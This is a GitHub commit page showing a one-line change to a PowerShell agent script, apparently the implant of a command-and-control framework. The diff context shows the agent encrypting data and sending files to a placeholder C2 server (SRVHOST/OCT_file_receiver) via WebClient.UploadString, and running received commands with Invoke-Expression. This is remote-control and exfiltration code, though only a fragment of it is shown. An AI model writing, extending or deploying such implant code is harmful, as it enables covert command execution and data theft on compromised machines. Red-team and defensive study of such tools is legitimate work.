Skip to content

Commit

Permalink
fixed the https download issue
Browse files Browse the repository at this point in the history
  • Loading branch information
mhaskar committed Dec 4, 2019
1 parent 3419dc0 commit 80c2627
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion agents/agent.ps1.oct
Original file line number Diff line number Diff line change
Expand Up @@ -98,7 +98,7 @@ while($true){
$efc = EncryptCommand $key $EncodedText
$wc3 = new-object net.WebClient
$wc3.Headers.Add("Content-Type", "application/x-www-form-urlencoded")
$wc3.UploadString("http://SRVHOST/OCT_file_receiver", "fn=$filename&token=$efc")
$wc3.UploadString("OCU_PROTO://SRVHOST/OCT_file_receiver", "fn=$filename&token=$efc")
}else{
try{
$ec = Invoke-Expression ($fc) | Out-String;
Expand Down

0 comments on commit 80c2627

Please sign in to comment.